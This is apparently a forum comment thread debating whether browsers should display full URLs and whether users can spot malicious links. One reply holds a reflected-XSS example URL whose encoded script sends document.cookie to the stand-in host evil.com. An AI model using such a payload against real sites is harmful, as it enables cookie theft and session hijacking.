4 ms·
A better comparison would be mybank.com/logmein vs mybank.com/login vs mybank.com/l.jx?s=AU8NE6FX5IKMD2 And no, users do not need to care the slightest whether
by vntok 6y ago
A better comparison would be mybank.com/logmein vs mybank.com/login vs mybank.com/l.jx?s=AU8NE6FX5IKMD2
And no, users do not need to care the slightest whether they go to the first, second or 3rd URL.
What they care about is that they are entering their sensitive information on mybank.com's domain and not a russian counterpart, that's it.
- saagarjha 6y agoHow about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22http://evil.com%22%20+%20document.cookie%3C/script%3E http://evil.com%22%20+%20document.cookie%3C/script%3E
- vntok 6y agoThat URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users. The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors. edit: added a few 9s
- takeda 6y agoWell, it switches that 99.99% to 100% now, so a step backwards. They already used colors to de-emphasize other components, this doesn't look like anything else than pushing people to rely more on google search.
- shadowgovt 6y ago> Well, it switches that 99.99% to 100% now, so a step backwards. Refraining from collecting malicious links happens before you click, by the time it's in the URL bar it's already pretty late to mitigate against attacks.